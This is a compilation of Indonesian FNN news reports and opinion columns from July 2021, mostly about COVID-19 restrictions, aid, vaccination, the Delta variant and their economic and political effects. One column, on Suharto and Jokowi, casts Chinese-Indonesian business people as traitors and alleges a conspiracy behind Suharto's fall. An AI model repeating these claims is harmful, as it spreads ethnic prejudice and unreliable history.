Medan, FNN - Pemerintah Kota Medan, Sumatera Utara, segera menyalurkan bantuan sosial kepada warga yang terdampak selama masa Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat. "Besok sudah kita bagikan," kata Wali Kota Medan Bobby Nasution usai memberikan bantuan kepada warga di Kelurahan Mangga, Kecamatan Medan Tuntungan, Sabtu. Wali Kota menyebut bahwa bantuan yang akan diberikan pada tahap pertama itu berupa paket sembako yang berisikan beras, gula dan minyak goreng. "Ada 51.000 lebih paket sembako yang akan kami bagikan. Ini sudah kita tetapkan sembako yang isinya ada 20 kilogram beras, 2 kilogram gula dan 1 liter minyak goreng," ujarnya. Ia meminta seluruh kepala lingkungan di Kota Medan untuk teliti dalam mendata warga yang berhak mendapatkan bantuan PPKM Darurat. "Ini kepala lingkungannya sudah datang tapi belum tau mana yang jualan harian, mana yang pegawai, ojek daring. Ini kalau bisa didata jadi betul-betul bisa dilihat apakah ini sudah dapat bantuan dari APBN atau belum, karena bukan hanya dari APBD, dari APBN nanti akan keluar bantuan," ujarnya. (sws)

Ahli : Rendahnya Protokol Kesehatan Picu Lonjakan COVID-19 di Sumbar

Padang, FNN - Tenaga Ahli Menteri Kesehatan Dr Andani Eka Putra menilai rendahnya penerapan protokol kesehatan membuat kasus baru COVID-19 di Sumatera Barat melonjak tajam dalam beberapa hari terakhir. "Kondisi COVID-19 di Sumbar mengkhawatirkan, bahkan dalam 3 hari terakhir ini, angka kasus baru lebih dari 900 kasus per hari, ini disebabkan rendahnya penerapan protokol kesehatan," kata dia pada webinar yang dipantau di Padang, Sumbar, Sabtu. Ia menyampaikan hal itu pada webinar oleh PT Semen Padang dengan tema "Waspada COVID-19 Varian Baru" yang dibuka Direktur Utama PT Semen Padang Yosviandri dan dihadiri Direktur Keuangan Tubagus Muhammad Dharury, Direktur Operasi Asri Mukhtar, serta karyawan dan keluarga karyawan Semen Padang Group. Menurut Andani yang juga Kepala Laboratorium Diagnostik dan Riset Terpadu Penyakit Infeksi Kedokteran Universitas Andalas itu, semua pihak mestinya berkomitmen bersama-sama mengatasi pandemi ini. Selain protokol kesehatan, kata dia, rendahnya realisasi masyarakat yang divaksin juga menjadi penyebab tingginya kasus COVID-19. "Bahkan Sumbar merupakan daerah tiga terendah realisasi vaksin dosis pertama di Indonesia. Kemudian, tracing yang tidak berjalan optimal dan angka isolasi mandiri 70 persen, juga menjadi penyebab meningkatnya kasus baru," kata dia. Ia menilai semua pihak sepakat isolasi mandiri itu harus dikurangi. Untuk itu, ia berharap agar BUMN membuka fasilitas isolasi, supaya lebih aman dan tidak menular ke yang lain. "Sejauh ini, PT Semen Padang sudah memfasilitasi tempat isolasi dan saya mengapresiasinya," ujarnya. Pada sisi lain ia menerangkan COVID-19 sebenarnya tidak mematikan, berbeda dengan TBC yang angka kematiannya mencapai lima persen dan SARS serta MERS-Cov yang angka kematiannya mencapai 10 persen, sementara COVID-19 hanya dua persen. "Pertanyaannya, kenapa COVID-19 menjadi ribut? Karena penyebarannya yang cepat dan menjadi membahayakan, sehingga menyebabkan kematian. Untuk itu, mari putus penyebaran dengan protokol kesehatan, tracing, isolasi pasien dan sebagainya," katanya. Terkait perkembangan terbaru di Tanah Air, ia menyebutkan ada 761 sekuens varian yang menjadi perhatian, terdiri atas varian alpha, varian beta dan varian delta yang lebih infeksius. Ia menjelaskan bahwa varian delta paling banyak terdapat di DKI Jakarta, Jawa Barat dan Jawa Tengah, sedangkan untuk di Sumatera, ada sembilan varian yang menjadi perhatian, yaitu di Sumatera Selatan. Sementara Dirut PT Semen Padang Yosviandri menyampaikan webinar ini rutin dilakukan sebagai bagian dari upaya memutus rantai penularan COVID-19. Manajemen PT Semen Padang juga tidak akan bosan-bosannya dan terus berupaya agar semua keluarga besar Semen Padang Group tetap sehat dan terhindari dari COVID-19. "Saat ini pemerintah sudah bekerja sangat keras supaya kita masyarakat Indonesia ini mampu dengan benar menghadapi pandemi yang terjadi di seluruh dunia. Untuk itu melalui webinar ini, mari bantu diri kita, keluarga kita, saudara dan tetangga kita untuk menjaga diri," katanya. Terkait dengan adanya informasi yang simpang siur soal COVID-19, Yosviandri pada kesempatan itu meminta agar seluruh karyawan dan keluarga karyawan Semen Padang Group untuk tidak terpengaruh dengan informasi yang salah atau hoaks. "Jangan percaya kepada informasi yang salah. Serahkan pada ahlinya, serahkan kepada pemerintah. Kita hanya diminta untuk berikhtiar dan taat terhadap aturan yang telah ditetapkan pemerintah," ujarnya. (sws)

Polresta Bogor Kota Lanjutkan Vaksinasi Keliling di RT Zona Merah

Bogor, FNN - Polresta Bogor Kota melanjutkan pelaksanaan vaksinasi COVID-19 massal keliling di RT zona merah di Kota Bogor sekaligus membagikan paket sembako kepada warga yang terpapar COVID-19 dan menjalani isolasi mandiri di rumah masing-masing. Pelaksanaan vaksinasi COVID-19 massal keliling di RT zona merah, pada Sabtu hari ini dilaksanakan di RT 05 / RW 09 Kelurahan Tanah Baru, Kecamatan Bogor Utara, Kota Bogor. Pada kegiatan tersebut, tim vaksinasi dari Polresta Bogor Kota menyuntikkan vaksin COVID-19 kepada 160 orang warga RW 09 dari 165 orang yang terdaftar. "Lima orang tidak divaksin karena faktor kesehatan. Empat orang tensinya tinggi dan satu orang sedang sakit," kata Kasi Pengawas Program Vaksinasi Keliling Polresta Bogor Kota AKP Diana. Menurut Diana, RW 09 Kelurahan Tanah Baru Bogor Utara dipilih menjadi lokasi vaksinasi keliling RT zona merah, karena di RW 09 ada 26 orang warga yang terpapar COVID-19, satu diantaranya di rawat di RSUD Kota Bogor. Pada kegiatan tersebut, Kapolresta Bogor Kota Kombes Pol Susatyo Purnomo Condro turut membagikan paket sembako kepada tiga keluarga terpapar COVID-19 yang menjalani isoman di RT 05 / RW 09 Kelurahan Tanah Baru Bogor Utara Kota Bogor. (sws)

Polres Bagi Sembako ke Pedagang Kecil di Sabang Bantu saat PPKM Mikro

Banda Aceh, FNN - Kepolisian Resor (Polres) Sabang membagikan puluhan paket sembako kepada pedagang kecil di wilayah Kecamatan Sukakarya, Kota Sabang, guna membantu masyarakat dalam menghadapi Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) skala mikro. Kapolres Sabang AKBP Muhammadun mengatakan pembagian bantuan sosial tersebut merupakan wujud kepedulian Kepolisian Republik Indonesia dalam upaya meringankan beban ekonomi masyarakat di pulau paling barat Indonesia itu selama PPKM skala mikro. "Kegiatan ini kita laksanakan sebagai wujud kepedulian kita terhadap pedagang kecil di masa pemberlakuan PPKM mikro. Meskipun bantuan tidak seberapa, tapi kita harapkan semoga dapat meringankan beban ekonomi masyarakat," katanya dalam keterangan diterima di Banda Aceh, Sabtu. Dia menjelaskan pembagian sembako untuk pedagang kecil itu juga dalam rangka mengoptimalkan penerapan PPKM mikro di masa pandemi COVID-19. Karena, menurut dia, wabah itu telah memberi dampak besar terhadap lemahnya pertumbuhan ekonomi bangsa. Mereka membagikan sembako itu dengan cara mendatangi langsung setiap rumah atau tempat warga berdagang. Sekaligus juga mengimbau seluruh lapisan masyarakat untuk selalu menerapkan protokol kesehatan (prokes), sebagai salah satu cara menekan penyebaran virus corona. Tujuan pembagian sembako dengan cara mendatangi rumah ini agar penerima tetap berada di rumah saja tanpa harus mendatangi posko yang diadakan. Hal ini kita lakukan untuk menekankan penyebaran dan sekaligus memutuskan mata rantai COVID-19, katanya. Rudi, pedagang kecil yang menerima bantuan itu menyampaikan apresiasinya kepada jajaran Polres Kota Sabang yang telah peduli kepada masyarakat kecil di tengah musibah bencana non alam yang dirasakan oleh seluruh penduduk dunia itu. “Kami bersimpati dengan pemberlakuan PPKM ini, tentunya masyarakat banyak sekali yang berdampak terhadap kebutuhan hidup dari anjloknya ekonomi seperti yang kami alami, dimana pedagang-pedagang kecil yang pendapatannya terus berkurang akibat sepinya pengunjung,” kata Rudi. (sws)

Luhut : Jika Konsisten, Situasi Pandemi COVID-19 Membaik Akhir Juli

Jakarta, FNN) - Koordinator PPKM Darurat Jawa-Bali Luhut Binsar Panjaitan meyakini situasi pandemi COVID-19 akan membaik di akhir Juli 2021 jika seluruh pihak, termasuk pemerintah daerah (pemda) konsisten menerapkan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat. “Kalau kita konsisten semua, saya lihat akhir Juli posisi kita akan semakin baik. Oleh karena itu saya minta teman-teman di semua tempat, di Banten, Jawa Barat, Jawa Tengah, Jawa Timur dan seluruh penjuru Tanah Air, bahu membahu melawan varian delta ini,” kata Luhut, dalam konferensi pers virtual di Jakarta, Sabtu malam. Menteri Koordinator Maritim dan Investasi ini meminta kerja sama seluruh pihak untuk mematuhi protokol kesehatan dan menjalani vaksinasi COVID-19. Saat ini, kata Luhut, Indonesia sedang menghadapi varian delta virus corona yang memiliki tingkat penularan jauh lebih cepat dibanding varian lainnya. Luhut menegaskan untuk mengatasi varian delta virus corona ini tidak cukup dengan menambah kapasitas rumah sakit, dokter dan juga perawat. Penambahan fasilitas kesehatan tersebut hanya solusi sementara. "Solusi permanen adalah menjalankan protokol kesehatan yang ketat dan mempercepat vaksinasi yang diperintahkan Presiden Joko Widodo berkali-kali," ujarnya. Selama PPKM Darurat sejak 3 Juli 2021, kata Luhut, mobilitas dan kegiatan warga berhasil diturunkan. Meski begitu, perlu waktu untuk melihat dampak dari PPKM Darurat untuk menurunkan kasus COVID-19. Hingga Sabtu (17/7), kasus COVID-19 di Indonesia bertambah 51.952 pasien, sehingga total kasus aktif COVID-19 mencapai 527.872 kasus. Sejak Maret 2020 ketika COVID-19 pertama kali masuk ke Indonesia, sebanyak 72.489 pasien telah meninggal dunia dan 2,23 juta pasien dinyatakan sembuh. (sws)

Varian Delta Mendominasi Dunia

Washington, FNN - Varian COVID-19 Delta kini mendominasi dunia, dibarengi dengan lonjakan kematian di seluruh Amerika Serikat, yang semuanya hampir berasal dari kalangan orang yang tidak divaksin, kata pejabat AS pada Jumat (16/7). Direktur Pusat Pencegahan dan Pengendalian Penyakit AS (CDC) Rochelle Walensky saat acara jumpa pers mengungkapkan bahwa kasus COVID-19 di AS meningkat 70 persen selama sepekan sebelumnya dan kematian naik 26 persen. Wabah terjadi di sebagian wilayah dengan tingkat vaksinasi yang rendah, kata CDC. Berdasarkan data CDC, jumlah rata-rata sepekan terkait infeksi harian kini lebih dari 26.000 kasus, jauh lebih tinggi dari sekitar 11.000 kasus pada Juni. "Ini menjadi pandemi bagi mereka yang tidak divaksin," katanya sebagaimana dikutip dari Kantor Berita Antara. Ia menambahkan bahwa 97 persen orang yang masuk rumah sakit karena COVID-19 adalah mereka yang belum divaksin. Walensky mengatakan bahwa semakin banyak daerah di seluruh AS kini menunjukkan risiko transmisi COVID-19 yang tinggi. Perkembangan itu memutarbalikkan penurunan risiko transmisi dalam beberapa bulan terakhir. Sekitar satu dari lima kasus baru terjadi di Florida, menurut koordinator tanggap COVID-19 Gedung Putih Jeff Zients. Varian Delta, yang secara signifikan sangat menular dibandingkan COVID-19 versi asli, telah terdeteksi di sekitar 100 negara secara global dan kini menjadi varian dominan di seluruh dunia, kata pakar penyakit menular AS Anthony Fauci. "Kita sedang berhadapan dengan varian COVID-19 yang mengerikan," kata Fauci selama pembicaraan melalui telepon. Walensky mendesak warga Amerika yang belum divaksin agar menerima suntikan COVID-19. Ia juga mengeklaim bahwa vaksin buatan Pfizer dan Moderna terbukti sangat ampuh melawan varian Delta. Menurut Walensky, masyarakat harus menerima dosis kedua vaksin, bahkan jika mereka telah melewati batas waktu penerimaan. Sekitar lima juta orang di AS telah mendapatkan vaksinasi dalam 10 hari terakhir, kata Zients, termasuk banyak di negara bagian yang sejauh ini memiliki tingkat vaksinasi yang rendah. Ia menambahkan bahwa AS memiliki vaksin yang cukup untuk dijadikan dosis penguat, namun otoritas masih berupaya menentukan apakah dosis ketiga tersebut memang diperlukan. (MD).

Wakil Ketua MPR: Beri Perhatian Lebih pada Tenaga Kesehatan

Jakarta, FNN - Wakil Ketua MPR RI Syarief Hasan mengatakan pemerintah harus memberikan perhatian lebih kepada tenaga kesehatan dan tenaga medis yang memiliki beban kerja berat dan penuh risiko tinggi. "Para tenaga medis dan kesehatan bekerja mempertaruhkan jiwa mereka untuk menangani COVID-19. Pemerintah harus memberikan perhatian penuh," kata Syarief Hasan melalui keterangan tertulis yang diterima di Jakarta, Sabtu, 17 Juli 2021. Lebih miris lagi, kata dia, gaji tenaga kesehatan tergolong kecil dibandingkan beban kerjanya yang berat dalam menangani pasien-pasien COVID-19. "Mereka bekerja keras. Bahkan, beberapa relawan tenaga kesehatan mendapatkan gaji yang sangat kecil," ujar dia. Harusnya, insentif yang dijanjikan pemerintah segera disalurkan secara cepat dan merata. Pemerintah telah menjanjikan insentif Rp 5 juta sampai Rp 15 juta per bulan dan hal itu harus dibayarkan. "Insentif pada bulan November yang lalu baru cair bulan ini di beberapa wilayah," katanya. Sementara itu, pemerintah dalam laporan APBN 2020 menyampaikan anggaran kesehatan sudah tersedia dari hasil utang surat berharga negara. Seharusnya, penyaluran anggaran kebutuhan tenaga kesehatan mendapat prioritas utama. Ia khawatir jika banyak tenaga kesehatan yang mengundurkan diri, penanganan pasien COVID-19 dapat dipastikan makin sulit, dan 100.000 per hari korban tertular akan menjadi nyata. Kini dalam sehari, kata dia, sudah mencapai 57.756 kasus per hari dan membutuhkan tenaga kesehatan. Belum lagi korban yang sedang dirawat dan sebagainya. "Kalau tidak ada perbaikan yang komprehensif, rakyat dan bangsa akan makin terpuruk," katanya lagi. Ia menegaskan bahwa Pemerintah tidak perlu malu atau sensitif menerima masukan dari semua pihak. Semua elemen bangsa, lanjut dia, harus bersatu menghadapi pandemi COVID-19 agar bisa bangkit menata ekonomi yang lebih baik. (MD).

LIPI: Lonjakan Kasus COVID-19 di Indonesia Didominasi Varian Delta

Jakarta, FNN - Ketua Tim Pengurutan Genom Menyeluruh (Whole Genom Sequencing/WGS) SARS-CoV-2 Lembaga Ilmu Pengetahuan Indonesia (LIPI) Sugiyono Saputra mengatakan kemungkinan besar lonjakan kasus COVID-19 di Indonesia disebabkan oleh varian delta. "Jika dilihat dari data GISAID yaitu data genom SARS-CoV-2 yang berhasil di-sequencing dan diidentifikasi selama tiga pekan terakhir, lebih dari 95 persen merupakan varian delta dan sisanya adalah varian alfa dan varian lokal Indonesia," kata Sugiyono dalam keterangannya di Jakarta, Sabtu, 17 Juli 2021.Sugiyono menuturkan, dari penelitian yang dilakukan di laboratorium Bio Safety Level (BSL) 3 LIPI, dengan melakukan pengambilan sampel selama delapan hari terhitung dari tanggal 10-18 Juni 2021, ditemukan hampir 100 persen adalah varian delta. "Berdasarkan data yang ada, terbukti bahwa lonjakan kasus yang terjadi di Indonesia disebabkan oleh paparan virus SARS-CoV-2 varian delta," ujar Sugiyono. Sejak beberapa pekan belakangan, kasus COVID-19 di Indonesia mengalami lonjakan yang sangat signifikan. Bahkan, pada rentang waktu 2-15 Juli 2021 tercatat penambahan total kasus positif COVID-19 mencapai 523.695 kasus. Pada 11 Juli 2021, Indonesia tercatat sebagai negara dengan kasus kematian tertinggi di dunia, yaitu mencapai 1.007 orang dalam satu hari. Merebaknya kasus COVID-19 di Indonesia ditengarai oleh varian baru dari virus SARS-CoV-2 varian delta yang diketahui pertama kali ditemukan di India. Menurut Sugiyono, faktor utama yang menyebabkan varian delta begitu berbahaya dan penyebarannya sangat masif adalah karena karakteristik dari varian delta memiliki tingkat penularan yang sangat tinggi dibanding varian lain. "Material genetik yang ditemukan pada varian delta mempunyai karakter yang bisa menurunkan efektifitas dari vaksinasi dan terapi obat yang saat ini dilakukan," ujarnya. Sugiyono menuturkan, berdasarkan data yang diperoleh dari Inggris, varian delta sangat berkorelasi dengan peningkatan jumlah huni rumah sakit. Itu berarti varian tersebut mempunyai efek terhadap keparahan kondisi pasien COVID-19. Menurut dia, kasus COVID-19 di Indonesia tidak hanya disebabkan oleh varian delta. Berdasarkan riset yang dilakukan, juga ditemukan varian baru asal Indonesia, yaitu varian B.1.466. Sugiyono menuturkan, sebelum varian delta masuk ke Indonesia, varian baru asal Indonesia mendominasi kasus COVID-19 di Indonesia. Badan Kesehatan Dunia (WHO) memperingatkan Indonesia agar varian lokal terus dimonitor, karena secara genetik varian itu mampu meningkatkan transmisi atau penularan di masyarakat. Selain itu, varian tersebut juga dapat menyebabkan penurunan efektifitas vaksin dan terapi obat. "Akan tetapi, sampai saat ini, bukti ilmiah terkait efek secara epidemiologi atau bukti ilmiah yang menunjukkan langsung efek dari mutasi yang terjadi belum ada. Varian lokal saat ini kasusnya tidak banyak dan sampai saat ini varian delta lebih berbahaya," ujar Sugiyono. Sejak penelitian COVID-19 dilakukan di Indonesia, selama lebih dari satu tahun telah ditemukan lebih dari 10 varian COVID-19. Namun, varian yang menjadi perhatian adalah varian delta, alfa, dan varian of interest, yaitu gama. "Walaupun dunia saat ini telah dihebohkan oleh varian baru COVID-19, yaitu varian gama dan lamda, varian ini belum kami temukan di Indonesia sesuai data dari GISAID," tutur Sugiyono. (MD).

Ekonom Beberkan Dampak ke Ekonomi Jika PPKM Darurat Berlanjut

Jakarta, FNN - Senior Vice President Economist Bank Permata Josua Pardede memperkirakan pertumbuhan ekonomi Indonesia 2021 dapat menurun sebesar 0,5-0,8 persen persen dari asumsi dasar (baseline) jika pemberlakuan pembatasan kegiatan masyarakat (PPKM) darurat diperpanjang hingga akhir Juli 2021 dari periode awal 3-20 Juli 2021. "Apabila PPKM darurat diputuskan untuk diperpanjang hingga akhir Juli dari jadwal awal hingga 20 Juli, maka diharapkan kasus COVID-19 akan lebih terkelola dan penurunan kasus akan lebih signifikan. Meskipun demikian, dampak dari perpanjangan PPKM darurat hingga akhir Juli itu akan mendorong penurunan pertumbuhan PDB tahun 2021 sebesar 0,5-0,8 persen dari proyeksi baseline," kata Josua kepada ANTARA di Jakarta, Sabtu, 17 Juli 2021. Josua mengatakan, keputusan pemerintah memperpanjang atau tidak kebijakan PPKM darurat akan sangat tergantung dengan perkembangan kasus harian COVID-19 selama periode 3-20 Juli 2021. Bahkan, tidak menutup kemungkinan, pemerintah memiliki rencana untuk kembali memperpanjang PPKM darurat untuk periode yang lebih lama lagi setelah akhir Juli 2021, jika penularan kasus COVID-19 terus memburuk. "Jika penanganan COVID-19 belum cukup optimal hingga akhir Juli, maka PPKM darurat berpotensi untuk diperpanjang lebih lama lagi sehingga akan berdampak pada perlambatan ekonomi yang lebih signifikan lagi pada tahun 2021 ini," ujar dia. Ketika PPKM darurat diterapkan pada 3-20 Juli 2021, Josua menuturkan, kebijakan tersebut telah membatasi laju dari pemulihan ekonomi. Dia memproyeksikan dampak dari PPKM darurat periode 3-20 Juli 2021 akan mendorong penurunan pertumbuhan ekonomi nasional pada 2021 sebesar 0,2-0,4 persen dari proyeksi dasar. Adapun, sektor-sektor yang sangat terdampak dari kebijakan tersebut antara lain adalah pariwisata, ritel, hingga transportasi udara. Namun demikian, dampak PPKM darurat terhadap perekonomian tidak lebih dalam jika dibandingkan dengan dampak PSBB tahun 2020, karena beberapa sektor esensial yang diperbolahkan untuk beroperasi dengan protokol kesehatan. Selain itu, akselerasi program vaksinasi dan penguatan kapasitas pengujian, pelacakan dan perawatan diharapkan akan membantu untuk melandaikan kasus harian, serta menekan kasus aktif COVID-19. "Apabila pemerintah dapat melandaikan kasus harian COVID-19 nasional sesuai dengan jadwal awal yakni 3-20 Juli, maka pemulihan ekonomi diperkirakan akan lebih cepat terealisasi," katanya. Josua mengharapkan upaya yang dilakukan pemerintah untuk menghadapi dampak dari PPKM darurat dapat membatasi dampak pembatasan sosial terhadap konsumsi masyarakat. Upaya pemerintah tersebut di antaranya yaitu pergersan (refocusing) anggaran pemulihan ekonomi nasional (PEN), perpanjangan penyaluran bantuan sosial tunai (BST), perpanjangan stimulus listrik, percepatan penyaluran bantuan langsung tunai (BLT), serta percepatan penyaluran bantuan program keluarga harapan (PKH) dan kartu sembako. "Di sisi lain, meskipun insentif usaha merupakan salah satu bagian yang dikurangi proporsinya untuk kesehatan dan bantuan sosial, pemerintah perlu mengakselerasi penyerapan dari insentif usaha di kuartal III 2021, agar pelaku usaha tidak terdampak lebih jauh dan untuk menghindari PHK yang signifikan. Program percepatan ini dapat menjadi alternatif dalam mendukung pelaku usaha pada PPKM darurat," ujar Josua. {MD}.

Jokowi, Belajarlah dari Pak Harto

Rezim Jokowi, harus mau belajar dari pengalaman Pak Harto! Bandung, FNN - Menengok kronologis, jelang tragedi dan reformasi 1998, tentang pengkianatan Cina yang link up dengan pengkianat hitam, seharusnya tidak boleh dilupakan apalagi diulang. Dua puluh tahun, Pak Harto membesarkan pengusaha-pengusaha Cina dengan segala kemudahan, keistimewaan, dan bantuan dari pemerintah RI hingga menjadi besar ( konglomerasi). Pak Harto baru tersadar setelah ditolak mentah-mentah oleh konglo Cina (100 pengusaha Cina yang tergabung dalam Prasetya Mulya), ketika Pak Harto meminta agar konglo Cina menyisihkan 1 -- 2,5 % dari laba bersih, untuk dana pembinaan pribumi, terutama UMKM. Komunitas bisnis Cina yang semula dianggap sebagai mitra dan bagian integral bangsa Indonesia untuk memajukan ekonomi Indonesia, ternyata musuh dan tetap menjadi bangsa asing yang tidak peduli dengan bangsa Indonesia. Pak Harto meskipun menyesal atas pengkianatan Cina, namun cepat mengambil keputusan penentu, yaitu mendorong lahirnya HIPMI sebagai wadah kader pengusaha pribumi dengan Abdul Latif sebagai Ketua Umum, menyusul pengusaha pribumi lain seperti Siswono, Arifin Panigoro, Aburizal Bakri, Fahmi Idris dan Fadel Muhamad. Di sisi lain, konspirasi dari tokoh-tokoh Cina, Centre for Strategic and International Studies (CSIS ) dan Jendral Merah, justru menyeret Pak Harto untuk memusuhi umat islam, dan berakhir mundurnya Pak Harto. Dari pelajaran di atas, seharusnya pemerintah Jokowi mempertimbangkan kerja sama dengan Cina dan menghutang ke Cina yang tidak bisa diharapkan pengertiannya terhadap bangsa Indonesia. Seharusnya presiden lebih mengutamakan dan memberdayakan pribumi, bukan justru lebih mengutamakan TKA Cina. Juga dalam hal kriminalisasi terhadap ulama dan umat Islam, harus diambil pelajaran berharga dari Pak Harto, agar bisa menjadi andalan, kepercayaan rakyat bukan dituntut mundur. Meskipun demikian, kita tidak bisa terlalu cepat mengatakan tidak belajar dari Pak Harto, bisa jadi memang disengaja dan dibuat seperti ini Walahu Alam ! Sugengwaras, Purnawirawan TNI AD.

Anis Matta: Aksi Kekerasan Aparat Harus Dihentikan, Bisa Memicu Krisis Politik

Jakarta, FNN - Ketua Umum Partai Gelombang Rakyat (Gelora) Indonesia Anis Matta menyatakan prihatin, kecewa dan sedih menyaksikan berbagai tindakan kekerasan kepada warga di beberapa daerah yang dilakukan oleh aparat dalam penegakan aturan disiplin kepada publik di tengah pandemi Covid-19. Tindakan disipilin tersebut dalam rangka menegakkan aturan pemberlakukan pembatasan kegiatan masyarakat (PPKM) guna menurunkan lonjakan penyebaran kasus Corona di tanah air . "Apapun alasannya tindakan kekerasan seperti itu tidak akan berujung dengan hasil yang baik. Warga kita sekarang ini, sedang menghadapi tekanan hidup yang berat," kata Anis Matta dalam keterangannya, Sabtu (17/7/2021). Menurut Anis Matta, masyarakat saat ini sedang menghadapi tekanan hidup yang sangat berat. Tindakan kekerasan tersebut, akan menciptakan suasana jiwa yang sangat buruk yang akan menambah kesedihan kecemasan, ketakutan dan Frustrasi. "Ini semua bisa berkembang menjadi kemarahan dan akhirnya menjadi ledakan sosial yang tidak terkendali dan sangat mungkin juga bahkan berkembang menjadi krisis politik," katanya. Hal ini tentu saja tidak diinginkan semua pihak akan terjadi peristiwa tersebut. Sebab, pandemi Covid-19 sekarang telah berkembang menjadi krisis ekonomi hingga menjadi krisis berlarut. "Tentu saja Ini memberikan beban yang berat bagi pemerintah dan apalagi bagi rakyat kita secara keseluruhan. Jangan sampai hal ini ditambah dengan kemarahan rakyat, yang bisa berujung pada ledakan sosial dan krisis politik," katanya. Agama Islam, lanjut Anis Matta, telah mengajarkan bahwa pentingnya kelembutan dalam menyelesaikan segala urusan, daripada menonjolkan kekerasan karena akan menyebabkan kerusakan. Sehingga semua pihak perlu mencari ilham dalam mengatasi masalah pandemi Covid-19 ini. Sebab, pandemi Covid-19 tidak hanya terjadi di Indonesia, tapi di seluruh belahan dunia. "Kelembutan akan membuat tujuan kita tercapai, sedangkan kekerasan akan membuat tujuan kita tidak tercapai. Dengan kelembutan, kita akan mendapatkan pahala, sementara kekerasan akan membuat kita berdosa," katanya. Karena itu, Ketua Umum Partai Gelora ini berharap agar aparat mengedepankan akhlak dan kelembutan dalam menegakkan aturan disipilin PPKM Darurat, serta meninggalkan tindakan kekerasan. "Tidak ada di antara kita yang bisa memprediksi, memperkirakan kemana krisis ini mengarah dan kapan akan berakhir. Semua dilanda ketakutan, kemarahan dan frustasi. Khususnya kepada para aparat, berlaku santulah dan lembut kepada rakyat yang sedang menghadapi tekanan hidup yang sangat berat," tegas Anis Matta. Seperti diketahui, penolakan dan kericuhan yang melibatkan aparat dan warga masih kerap terjadi sebagai buntut dari penegakan disiplin PPKM Darurat, yang akan berakhir pada Selasa (20/7/2021). Di Jawa Timur, Sabtu (10/7/2021), puluhan warga menyerang petugas yang melakukan patroli protokol kesehatan di Kecamatan Kenjeran, Surabaya, Jawa Timur. Peristiwa berawal saat petugas menemukan satu warung yang masih buka melebihi ketentuan jam malam. Alhasil petugas memberikan sanksi penyitaan KTP dan tabung LPG 3 kilogram di warung tersebut. Warga sekitar pun langsung bereaksi. Mereka menolak dengan meneriaki petugas dengan kata-kata kasar. Mereka bahkan melempar dan menyerang mobil operasional petugas. Kericuhan selama penertiban PPKM Darurat bahkan terjadi sejak berlaku 3 Juli 2021. Sejumlah pedagang di Pasar Klitikan, Notoharjo, Solo sempat mengintimidasi petugas Satpol PP yang melakukan penertiban PPKM Darurat pada Minggu (4/7/2021). Namun, para pedagang menolak kegiatan jual-belinya karena dinilai melanggar aturan dan terlibat cekcok dengan petugas Di hari pertama bahkan penolakan penertiban itu terlihat di beberapa titik penyekatan PPKM Darurat. Misalnya, di pertigaan Lampiri, Kalimalang, Jakarta Timur. Titik yang menjadi perbatasan antara Bekasi ke Jakarta itu dipadati pemotor yang menolak disekat oleh petugas. Mereka berdebat dengan aparat yang berjaga dan membuat kemacetan yang sangat panjang. (sws)

Saatnya Mengevaluasi Presiden

Oleh: Tamsil Linrung *) Jakarta, FNN - Dalam perjalanan sejarah pergolakan negeri, gerakan mahasiswa yang bersifat masif-politis terbukti menjadi katalisator bagi sejumlah momentum perubahan. Tradisi kritis intelektual muda ini harusnya dirawat, bukan dikerdilkan, apalagi dibunuh. Mereka masa depan kita. Kini, mahasiswa kembali menunjukkan jati dirinya. Momentum perubahan mereka tabuh, melalui satire pemberian gelar The King of Lip Service dari BEM Universitas Indonesia kepada Presiden Joko Widodo. Reaksinya mengundang aksi mahasiswa yang lebih meluas. Ketika Rektor UI memanggil, dosen Ade Armando mencela, dan para pendengung menyudutkan mahasiswa UI dengan bunyi-bunyian khilafah. Mahasiswa di berbagai belahan negeri justru menyatakan dukungannya kepada BEM UI. Presiden mencoba mendinginkan situasi. Jokowi bilang, kritik itu bagian dari kebebasan berekspresi sehingga tidak perlu dihalangi. Namun, lagi-lagi pernyataan ini seolah bagian dari lip service. Dewan Penasihat Kaukus untuk Kebebasan Akademik (KIKA) Herlambang P. Wiratraman menilai represi terhadap mahasiswa justru semakin ofensif di periode kedua Jokowi. Itu pula sebabnya mahasiswa menanggapi dingin pernyataan Jokowi. The King of Pura-pura, begitu BEM Universitas Muhammadiyah Yogyakarta menanggapi pernyataan presiden. Jauh sebelumnya, Aliansi Mahasiswa UGM telah menggelari presiden dengan juara ketidak sesuaian antara kata dan perbuatan. Dibuai Optimisme The King of Lip Service. April 2020 lalu, dalam pengantar rapat terbatas mitigasi dampak COVID-19 terhadap sektor pariwisata dan ekonomi kreatif, Presiden Jokowi berkata, "Saya meyakini ini (Covid-19) hanya sampai akhir tahun (2020). Tahun depan booming di pariwisata." Media lalu gegap gempita. CNBCIndonesia misalnya, menulis judul "Jokowi yakin corona kelar di akhir 2020: semua akan liburan!" Jelang pergantian tahun, nyatanya Corona tidak kelar. Ketimbang liburan, masyarakat lebih fokus bertahan hidup. Tapi tidak pernah ada klarifikasi istana tentang pernyataan presiden yang terbukti keliru itu. Sebaliknya, yang muncul malah sebuah pernyataan baru. "Memasuki 2021, Jokowi Yakin Indonesia Bisa Bangkit Dari Pandemi Covid-19," tulis kompas.com. Bangkitkah kita? Tidak. Di 2021 yang bangkit justru Covid-19. Pagebluk semakin menjadi, jumlah penderita dan orang meninggal memecahkan rekor. Pertengahan 2021 justru menjadi masa paling ganas Covid-19. Lagi-lagi, istana tidak mengklarifikasi pernyataan presiden yang terbukti tidak terbukti itu. Dan seperti yang sudah-sudah, yang muncul justru sebuah pernyataan baru. "Jokowi yakin PPKM darurat bisa pulihkan pandemi Covid-19 dengan cepat," tulis Kompas.com. Kita lelah menanti, kapan ucapan Jokowi terbukti. Barangkali ada betulnya aliansi mahasiswa UGM ketika menggelari Jokowi juara ketidaksesuaian antara kata dan perbuatan. Memang nyeleneh dan satir. Tapi juga tidak asal bunyi. Saking seringnya pernyataan presiden meleset, di media sosial, acapkali muncul guyonan tersendiri menyikapi fenomena itu. Cara terjitu memprediksi kondisi negara: dengarkan apa yang dikatakan Jokowi, lalu lihat sebaliknya, begitu mojok.co berseloroh, menyikapi cuitan-cuitan netizen. Sebagai pemimpin, membangun optimisme warga negara memang penting. Tetapi, optimisme itu harus terukur. Optimisme yang berlebihan bisa sangat berbahaya karena menggerus sikap hati-hati. Optimisme yang dibangun secara berlebihan jangan-jangan membuai dan menghanyutkan kita sehingga luput waspada atas lonjakan kasus Covid-19 varian delta di India. 